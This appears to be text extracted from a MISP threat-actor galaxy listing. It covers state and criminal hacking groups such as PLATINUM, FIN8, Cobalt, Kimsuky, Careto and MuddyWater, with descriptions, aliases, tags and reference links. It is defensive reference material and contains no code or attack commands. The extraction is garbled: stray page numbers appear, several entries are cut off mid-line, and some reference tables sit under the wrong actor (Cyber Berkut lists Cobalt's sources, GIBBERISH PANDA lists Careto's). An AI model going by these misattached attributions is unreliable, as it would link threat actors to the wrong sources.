PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:threat-actor="PLATINUM"*

PLATINUM is also known as:

- TwoForOne
- G0068
- ATK33

View relationships graph

PLATINUM has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-
RASPITE

Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.

The tag is: misp-galaxy:threat-actor="RASPITE"

RASPITE is also known as:

• LeafMiner
• Raspite

FIN8

FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries. The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.

The tag is: misp-galaxy:threat-actor="FIN8"

FIN8 is also known as:

7024
• ATK113
• G0061

View relationships graph

FIN8 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="FIN8 - G0061" with estimative-language:likelihood-probability="likely"

Table 11197. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html">https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html">https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0061">https://attack.mitre.org/groups/G0061</a></td>
</tr>
</tbody>
</table>

El Machete

El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We've found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.

The tag is: misp-galaxy:threat-actor="El Machete"

El Machete is also known as:

• Machete
• machete-apt
• APT-C-43
• G0095

View relationships graph

El Machete has relationships with:

• similar: misp-galaxy:360net-threat-actor="Machete - APT-C-43" with estimative-language:likelihood-probability="likely"

Table 11198. Table References
Cobalt

A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Malaysia being raided simultaneously, in the span of a few hours. The group has been active since June 2016, and their latest attacks happened in July and August.

The tag is: *misp-galaxy:threat-actor="Cobalt"

Cobalt is also known as:

- Cobalt Group
- Cobalt Gang
- GOLD KINGSWOOD
- COBALT SPIDER
- G0080
- Mule Libra

*Table 11199. Table References*

Links

- https://www.group-ib.com/blog/cobalt
TA459

The tag is: misp-galaxy:threat-actor="TA459"

TA459 is also known as:

• G0062

View relationships graph

TA459 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="TA459 - G0062" with estimative-language:likelihood-probability="likely"

Table 11200. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0062/">https://attack.mitre.org/groups/G0062/</a></td>
</tr>
</tbody>
</table>

Cyber Berkut

The tag is: misp-galaxy:threat-actor="Cyber Berkut"

Table 11201. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/cobalt-strike/">https://www.riskiq.com/blog/labs/cobalt-strike/</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/">https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0080/">https://attack.mitre.org/groups/G0080/</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-kingswood">http://www.secureworks.com/research/threat-profiles/gold-kingswood</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/mulelibra/">https://unit42.paloaltonetworks.com/atoms/mulelibra/</a></td>
</tr>
</tbody>
</table>
Tonto Team

The tag is: misp-galaxy:threat-actor="Tonto Team"

Tonto Team is also known as:

- CactusPete
- KARMA PANDA
- BRONZE HUNTLEY
- COPPER
- Red Beifang
- G0131
- PLA Unit 65017

Table 11202. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/">https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/">https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/</a></td>
</tr>
</tbody>
</table>

Danti

The tag is: misp-galaxy:threat-actor="Danti"

Table 11203. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. APT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm’s business relationship with a national military, including inventories and memoranda about specific products they provided. In one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company’s relationships with other telecommunications companies.

The tag is: misp-galaxy:threat-actor="APT5"

APT5 is also known as:

- KEYHOLE PANDA
- MANGANESE
- BRONZE FLEETWOOD
- TEMP.Bottle

View relationships graph

APT5 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Mulberry Typhoon" with estimative-language:likelihood-probability="likely"

Table 11204. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/current-threats/apt-groups.html">https://www.fireeye.com/current-threats/apt-groups.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-fleetwood">https://www.secureworks.com/research/threat-profiles/bronze-fleetwood</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMTfIi">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMTfIi</a></td>
</tr>
</tbody>
</table>

**Tick**

Tick is a cyber espionage group with likely Chinese origins that has been active since at least 2008.
The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes. The attacks appear to be centered on political, media, and engineering sectors. STALKER PANDA has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States.

The tag is: misp-galaxy:threat-actor="Tick"

Tick is also known as:

- Nian
- BRONZE BUTLER
- REDBALDKNIGHT
- STALKER PANDA
- G0060
- Stalker Taurus
- PLA Unit 61419

View relationships graph

Tick has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060" with estimative-language:likelihood-probability="likely"

Table 11205. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.jp/resources/rp-bronze-butler">https://www.secureworks.jp/resources/rp-bronze-butler</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/">https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/bronze-butler">https://www.cfr.org/interactive/cyber-operations/bronze-butler</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses">https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0060/">https://attack.mitre.org/groups/G0060/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-butler">https://www.secureworks.com/research/threat-profiles/bronze-butler</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/stalkertaurus/">https://unit42.paloaltonetworks.com/atoms/stalkertaurus/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/iiyonite/status/1384431491485155331">https://twitter.com/iiyonite/status/1384431491485155331</a></td>
</tr>
</tbody>
</table>

7030
APT26

The tag is: misp-galaxy:threat-actor="APT26"

APT26 is also known as:

- Hippo Team
- JerseyMikes
- TURBINE PANDA
- BRONZE EXPRESS
- TECHNETIUM

View relationships graph

APT26 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Turla" with estimative-language:likelihood-probability="likely"

Table 11206. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-express">https://www.secureworks.com/research/threat-profiles/bronze-express</a></td>
</tr>
<tr>
<td><a href="https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf">https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf</a></td>
</tr>
</tbody>
</table>

SABRE PANDA

The tag is: misp-galaxy:threat-actor="SABRE PANDA"

Table 11207. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf">http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf</a></td>
</tr>
</tbody>
</table>

BIG PANDA

The tag is: misp-galaxy:threat-actor="BIG PANDA"

Table 11208. Table References
POISONUS PANDA

The tag is: misp-galaxy:threat-actor="POISONUS PANDA"

Table 11209. Table References

Ghost Jackal

The tag is: misp-galaxy:threat-actor="Ghost Jackal"

Table 11210. Table References

TEMP.Hermit

The tag is: misp-galaxy:threat-actor="TEMP.Hermit"

Table 11211. Table References

Mofang

The tag is: misp-galaxy:threat-actor="Mofang"

Mofang is also known as:

- Superman
- BRONZE WALKER

Table 11212. Table References

Links


https://www.fireeye.com/blog/threat-research/2018/02/attacks-leveraging-adobe-zero-day.html

https://blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information-stealing-adversary/

https://www.cfr.org/interactive/cyber-operations/mofang
CopyKittens

The tag is: misp-galaxy:threat-actor="CopyKittens"

CopyKittens is also known as:

• Slayer Kitten
• G0052

View relationships graph

CopyKittens has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="CopyKittens - G0052" with estimative-language:likelihood-probability="likely"

Table 11213. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf">https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.domaintools.com/resources/blog.case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastr">https://www.domaintools.com/resources/blog.case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastr</a></td>
</tr>
<tr>
<td><a href="http://www.clearskysec.com/copykitten-jpost/">http://www.clearskysec.com/copykitten-jpost/</a></td>
</tr>
<tr>
<td><a href="http://www.clearskysec.com/tulip/">http://www.clearskysec.com/tulip/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/copykittens">https://www.cfr.org/interactive/cyber-operations/copykittens</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0052/">https://attack.mitre.org/groups/G0052/</a></td>
</tr>
</tbody>
</table>

EvilPost

The tag is: misp-galaxy:threat-actor="EvilPost"

Table 11214. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html">https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html</a></td>
</tr>
</tbody>
</table>

TEST PANDA

The tag is: misp-galaxy:threat-actor="TEST PANDA"

Table 11215. Table References
Madi

Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.

The tag is: `misp-galaxy:threat-actor="Madi"`

**Table 11216. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/madi">https://www.cfr.org/interactive/cyber-operations/madi</a></td>
</tr>
</tbody>
</table>

ELECTRIC PANDA

The tag is: `misp-galaxy:threat-actor="ELECTRIC PANDA"`

**Table 11217. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem">http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem</a></td>
</tr>
</tbody>
</table>

APT4

The tag is: `misp-galaxy:threat-actor="APT4"`

APT4 is also known as:

- PLA Navy
• MAVERICK PANDA
• BRONZE EDISON
• Sykipot

Table 11218. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments">https://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/sykipot">https://www.cfr.org/interactive/cyber-operations/sykipot</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-edison">https://www.secureworks.com/research/threat-profiles/bronze-edison</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
</tr>
</tbody>
</table>

**Kimsuky**

This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Kimsuky"*

Kimsuky is also known as:

• Velvet Chollima
• Black Banshee
• Thallium
• Operation Stolen Pencil
• G0086
• APT43

View relationships graph

Kimsuky has relationships with:

• similar: *misp-galaxy:microsoft-activity-group="Emerald Sleet"* with estimative-language:likelihood-probability="likely"
• uses: *misp-galaxy:rat="xRAT"* with estimative-language:likelihood-probability="likely"
• uses: *misp-galaxy:tool="xrat"* with estimative-language:likelihood-probability="likely"
• uses: *misp-galaxy:ransomware="XRat"* with estimative-language:likelihood-probability="likely"
• uses: *misp-galaxy:malpedia="XRat"* with estimative-language:likelihood-probability="likely"
• uses: *misp-galaxy:tool="QUASARRAT"* with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:rat="Quasar RAT" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:tool="RDP Wrapper" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:tool="TightVNC" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:rat="Chrome Remote Desktop" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:tool="BabyShark" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:malpedia="BabyShark" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-malware="BabyShark - S0414" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:tool="RevClient" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-intrusion-set="Kimsuky - G0094" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 11219. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/">https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/kimsuky">https://www.cfr.org/interactive/cyber-operations/kimsuky</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/hAsKp43AZmM?t=1027">https://youtu.be/hAsKp43AZmM?t=1027</a></td>
</tr>
<tr>
<td><a href="https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia">https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/">https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0086/">https://attack.mitre.org/groups/G0086/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-301a">https://us-cert.cisa.gov/ncas/alerts/aa20-301a</a></td>
</tr>
</tbody>
</table>
Snake Wine

While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group’s backdoors. Cylance tracks this threat group internally as ‘Snake Wine’. The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.

The tag is: misp-galaxy:threat-actor="Snake Wine"

Table 11220. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.jpcert.or.jp/magazine/acreport-ChChes.html">https://www.jpcert.or.jp/magazine/acreport-ChChes.html</a></td>
</tr>
</tbody>
</table>

Careto

This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes. The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name “Mask” comes from the Spanish slang word “Careto” (“Ugly Face” or “Mask”) which the authors included in some of the malware modules. More than 380 unique victims in 31 countries have been observed to date. What makes “The Mask” special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).

The tag is: misp-galaxy:threat-actor="Careto"

Careto is also known as:

- The Mask
- Mask
- Ugly Face

Table 11221. Table References
GIBBERISH PANDA

The tag is: misp-galaxy:threat-actor="GIBBERISH PANDA"

Table 11222. Table References

Links

https://securelist.com/the-caretomask-apt-frequently-asked-questions/58254/
https://www.cfr.org/interactive/cyber-operations/careto

OnionDog

This threat actor targets the South Korean government, transportation, and energy sectors.

The tag is: misp-galaxy:threat-actor="OnionDog"

Table 11223. Table References

Links

http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem
https://www.cfr.org/interactive/cyber-operations/onion-dog

Clever Kitten

The tag is: misp-galaxy:threat-actor="Clever Kitten"

Clever Kitten is also known as:

• Group 41

View relationships graph

Clever Kitten has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

Table 1124. Table References

Links

http://www.crowdstrike.com/blog/whois-clever-kitten/

ANDROMEDA SPIDER

The tag is: misp-galaxy:threat-actor="ANDROMEDA SPIDER"

Table 1125. Table References

Links


Cyber Caliphate Army

The tag is: misp-galaxy:threat-actor="Cyber Caliphate Army"

Cyber Caliphate Army is also known as:

• Islamic State Hacking Division
• CCA
• United Cyber Caliphate
• UUC
• CyberCaliphate

Table 1126. Table References

Links

https://en.wikipedia.org/wiki/Islamic_State_Hacking_Division
MAGNETIC SPIDER

The tag is: `misp-galaxy:threat-actor="MAGNETIC SPIDER"`

Table 11227. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf">http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf</a></td>
</tr>
</tbody>
</table>

SINGING SPIDER

The tag is: `misp-galaxy:threat-actor="SINGING SPIDER"`

Table 11228. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cyber fighters of Izz Ad-Din Al Qassam

The tag is: `misp-galaxy:threat-actor="Cyber fighters of Izz Ad-Din Al Qassam"`

Cyber fighters of Izz Ad-Din Al Qassam is also known as:

- Fraternal Jackal

Table 11229. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://pastebin.com/u/QassamCyberFighters">http://pastebin.com/u/QassamCyberFighters</a></td>
</tr>
</tbody>
</table>

APT6

The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack. “This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation,” said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost. Details regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are
unaware of who specifically is behind the attacks. “Given the nature of malware payload involved and the duration of this compromise being unnoticed – the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems,” Deepen said.

The tag is: *misp-galaxy:threat-actor="APT6"*

APT6 is also known as:

- 1.php Group

**Table 11230. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**AridViper**

The tag is: *misp-galaxy:threat-actor="AridViper"*

AridViper is also known as:

- Desert Falcon
- Arid Viper
- APT-C-23

**Table 11231. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/blog/research/68817/the-desert-falcons-targeted-attacks/">https://securelist.com/blog/research/68817/the-desert-falcons-targeted-attacks/</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/">https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/06/palestine-delphi.html">http://blog.talosintelligence.com/2017/06/palestine-delphi.html</a></td>
</tr>
<tr>
<td><a href="https://www.threatconnect.com/blog/kasperagent-malware-campaign/">https://www.threatconnect.com/blog/kasperagent-malware-campaign/</a></td>
</tr>
</tbody>
</table>
DEXTOROUS SPIDER

The tag is: misp-galaxy:threat-actor="DEXTOROUS SPIDER"

Table 11232. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Unit 8200

The tag is: misp-galaxy:threat-actor="Unit 8200"

Unit 8200 is also known as:

- Duqu Group

Table 11233. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://archive.org/details/Stuxnet">https://archive.org/details/Stuxnet</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/duqu">https://www.cfr.org/interactive/cyber-operations/duqu</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/duqu-20">https://www.cfr.org/interactive/cyber-operations/duqu-20</a></td>
</tr>
</tbody>
</table>

White Bear

As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively
rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.

The tag is: `misp-galaxy:threat-actor="White Bear"`

White Bear is also known as:

- Skipper Turla

Table 11234. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/introducing-whitebear/81638/">https://securelist.com/introducing-whitebear/81638/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/whitebear">https://www.cfr.org/interactive/cyber-operations/whitebear</a></td>
</tr>
</tbody>
</table>

**PALE PANDA**

The tag is: `misp-galaxy:threat-actor="PALE PANDA"`

Table 11235. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf">http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf</a></td>
</tr>
</tbody>
</table>

**Mana Team**

The tag is: `misp-galaxy:threat-actor="Mana Team"`

Table 11236. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://webcache.googleusercontent.com/search?q=cache:TWoHHzH9gU0J:en.hackdig.com/02/39538.htm">http://webcache.googleusercontent.com/search?q=cache:TWoHHzH9gU0J:en.hackdig.com/02/39538.htm</a></td>
</tr>
</tbody>
</table>

**Sowbug**

Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.

The tag is: `misp-galaxy:threat-actor="Sowbug"`

Sowbug is also known as:
MuddyWater

The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

The tag is: misp-galaxy:threat-actor="MuddyWater"

MuddyWater is also known as:

- TEMP.Zagros
